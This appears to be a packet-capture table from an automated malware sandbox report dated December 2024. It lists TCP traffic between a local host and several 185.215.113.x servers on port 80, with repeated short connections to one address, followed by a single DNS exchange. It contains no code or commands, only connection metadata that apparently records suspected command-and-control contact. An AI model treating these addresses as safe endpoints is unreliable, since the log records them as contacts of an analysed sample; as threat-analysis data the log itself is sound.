Dec 27, 2024 08:41:32.598037004 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.598076105 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.599153996 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.599196911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.599265099 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.600328922 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.600430965 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.600482941 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.601391077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.601475954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.601519108 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.602557898 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.602641106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.602685928 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.603667974 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.603914022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.603961945 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.607212067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.607734919 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.607748032 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.607759953 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.607784033 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.607795954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.607801914 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.607801914 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.607861042 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.608845949 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.608949900 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.609047890 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.610186100 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.610198021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.610268116 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.611134052 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.611145973 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.611224890 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.612157106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.612267017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.612411976 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.613399029 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.613411903 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.613456011 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.614490986 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.614505053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.614557028 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.615618944 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.615808964 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.615852118 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.616636038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.616822958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.616882086 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.617954016 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.632251024 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.632261992 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.632272959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.632286072 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.632312059 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.632312059 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.633260012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.633327007 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.633423090 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.634150028 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.634191990 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.634232998 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.634360075 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.635273933 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.635325909 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.635432959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.636533976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.636584044 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.636594057 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.637593031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.637656927 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.637689114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.638734102 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.638777971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.638855934 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.639938116 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.639982939 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.640017033 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.641005039 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.641083956 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.641125917 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.642214060 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.642227888 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.642313957 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.682041883 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.702598095 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.702696085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.702756882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.703074932 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.703334093 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.703355074 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.703375101 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.704493999 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.704554081 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.704583883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.705635071 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.705704927 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.705770016 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.706756115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.706809044 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.706872940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.707988977 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.708075047 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.708090067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.709074974 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.709122896 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.757169008 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.763564110 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.768747091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.768882036 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.768959999 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.769278049 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.769303083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.769325972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.769382954 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.770179033 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.770293951 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.770373106 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.771246910 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.771310091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.771419048 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.771471977 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.772449970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.772605896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.772664070 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.773653030 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.773773909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.773859978 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.775006056 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.775192976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.775290966 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.775954008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.776089907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.776137114 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.777120113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.777209044 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.777261972 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.778239965 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.778348923 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.778464079 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.779417992 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.779547930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.779609919 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.780574083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.780682087 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.780771971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.781809092 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.781900883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.781968117 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:32.782830000 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:32.822695971 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:33.010490894 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:33.062805891 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:41:33.182322979 CET	80	49716	185.215.113.206	192.168.2.8
Dec 27, 2024 08:41:33.184328079 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:41:33.184865952 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:41:33.304322958 CET	80	49716	185.215.113.206	192.168.2.8
Dec 27, 2024 08:41:34.616806984 CET	80	49716	185.215.113.206	192.168.2.8
Dec 27, 2024 08:41:34.617830992 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:41:34.622595072 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:41:34.742037058 CET	80	49716	185.215.113.206	192.168.2.8
Dec 27, 2024 08:41:35.086496115 CET	80	49716	185.215.113.206	192.168.2.8
Dec 27, 2024 08:41:35.088527918 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:41:39.333255053 CET	49716	80	192.168.2.8	185.215.113.206
Dec 27, 2024 08:42:05.241765022 CET	49718	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:05.361306906 CET	80	49718	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:05.361454964 CET	49718	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:05.361682892 CET	49718	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:05.481061935 CET	80	49718	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:06.700783968 CET	80	49718	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:06.700947046 CET	49718	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:08.214005947 CET	49718	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:08.214375973 CET	49720	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:08.334165096 CET	80	49718	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:08.334208965 CET	80	49720	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:08.334284067 CET	49718	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:08.334336042 CET	49720	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:08.334573984 CET	49720	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:08.454042912 CET	80	49720	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:09.743720055 CET	80	49720	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:09.743802071 CET	49720	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:11.370513916 CET	49720	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:11.371229887 CET	49727	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:11.490258932 CET	80	49720	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:11.490464926 CET	49720	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:11.490700960 CET	80	49727	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:11.491084099 CET	49727	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:11.491084099 CET	49727	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:11.610703945 CET	80	49727	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:12.837874889 CET	80	49727	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:12.837977886 CET	49727	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:14.354644060 CET	49727	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:14.354965925 CET	49738	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:14.474355936 CET	80	49727	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:14.474436045 CET	49727	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:14.474503994 CET	80	49738	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:14.474571943 CET	49738	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:14.474765062 CET	49738	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:14.595171928 CET	80	49738	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:15.910512924 CET	80	49738	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:15.910691977 CET	49738	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:17.542114019 CET	49738	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:17.542442083 CET	49743	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:17.661735058 CET	80	49738	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:17.661854029 CET	49738	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:17.661894083 CET	80	49743	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:17.661969900 CET	49743	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:17.662174940 CET	49743	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:17.781559944 CET	80	49743	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:19.094943047 CET	80	49743	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:19.095079899 CET	49743	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:20.608458042 CET	49743	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:20.608705997 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:20.728410006 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:20.728420973 CET	80	49743	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:20.728523970 CET	49743	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:20.728699923 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:20.728699923 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:20.848192930 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:22.076922894 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:22.077035904 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:23.761099100 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:23.761404991 CET	49755	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:24.072688103 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:24.168870926 CET	80	49755	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:24.168901920 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:24.169015884 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:24.169030905 CET	49755	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:24.169277906 CET	49755	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:24.192384005 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:24.266674042 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:24.266787052 CET	49749	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:24.288861990 CET	80	49755	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:24.386243105 CET	80	49749	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:25.608686924 CET	80	49755	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:25.608766079 CET	49755	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:27.167099953 CET	49755	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:27.167427063 CET	49762	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:27.286988020 CET	80	49755	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:27.287076950 CET	49755	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:27.287146091 CET	80	49762	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:27.287221909 CET	49762	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:27.287457943 CET	49762	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:27.407174110 CET	80	49762	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:28.718704939 CET	80	49762	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:28.718806982 CET	49762	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:30.339087963 CET	49762	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:30.339404106 CET	49771	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:30.458888054 CET	80	49771	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:30.458982944 CET	49771	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:30.459117889 CET	80	49762	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:30.459177017 CET	49762	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:30.459301949 CET	49771	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:30.579437971 CET	80	49771	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:31.789330006 CET	80	49771	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:31.790338993 CET	49771	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:33.292084932 CET	49771	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:33.292313099 CET	49779	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:33.411719084 CET	80	49779	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:33.411771059 CET	80	49771	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:33.411848068 CET	49779	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:33.411890030 CET	49771	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:33.412091017 CET	49779	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:33.531500101 CET	80	49779	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:34.756947994 CET	80	49779	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:34.757009029 CET	49779	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:36.395226955 CET	49779	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:36.395571947 CET	49785	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:36.515058041 CET	80	49785	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:36.515084982 CET	80	49779	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:36.515146971 CET	49785	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:36.515172005 CET	49779	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:36.515420914 CET	49785	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:36.634916067 CET	80	49785	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:37.894527912 CET	80	49785	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:37.894582987 CET	49785	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:39.401529074 CET	49785	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:39.401899099 CET	49794	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:39.521509886 CET	80	49785	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:39.521519899 CET	80	49794	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:39.521631956 CET	49785	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:39.521748066 CET	49794	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:39.522173882 CET	49794	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:39.641774893 CET	80	49794	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:40.860249996 CET	80	49794	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:40.860517025 CET	49794	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:42.502088070 CET	49794	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:42.502415895 CET	49800	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:42.621973038 CET	80	49800	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:42.621992111 CET	80	49794	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:42.622097015 CET	49800	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:42.622236967 CET	49794	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:42.622303963 CET	49800	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:42.741693020 CET	80	49800	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:43.999982119 CET	80	49800	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:44.000060081 CET	49800	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:45.510977030 CET	49800	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:45.511285067 CET	49808	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:45.630839109 CET	80	49800	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:45.630851984 CET	80	49808	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:45.630918980 CET	49800	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:45.631119967 CET	49808	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:45.631238937 CET	49808	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:45.750745058 CET	80	49808	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:47.068948030 CET	80	49808	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:47.070383072 CET	49808	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:48.701374054 CET	49808	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:48.701628923 CET	49817	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:48.821129084 CET	80	49817	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:48.821286917 CET	80	49808	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:48.821402073 CET	49817	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:48.821454048 CET	49808	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:48.821718931 CET	49817	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:48.941214085 CET	80	49817	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:50.215045929 CET	80	49817	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:50.216650963 CET	49817	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:51.729541063 CET	49817	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:51.729871035 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:51.849323988 CET	80	49817	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:51.849374056 CET	80	49823	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:51.849392891 CET	49817	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:51.849446058 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:51.849621058 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:51.969021082 CET	80	49823	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:54.306792021 CET	80	49823	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:54.308298111 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:55.932912111 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:55.933260918 CET	49834	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:56.244684935 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:56.275132895 CET	80	49823	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:56.275147915 CET	80	49834	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:56.275269985 CET	49823	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:56.275332928 CET	49834	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:56.275633097 CET	49834	80	192.168.2.8	185.215.113.43
Dec 27, 2024 08:42:56.364152908 CET	80	49823	185.215.113.43	192.168.2.8
Dec 27, 2024 08:42:56.395478964 CET	80	49834	185.215.113.43	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:40:53.176206112 CET	58531	53	192.168.2.8	1.1.1.1
Dec 27, 2024 08:40:53.314343929 CET	53	58531	1.1.1.1	192.168.2.8

DNS Queries

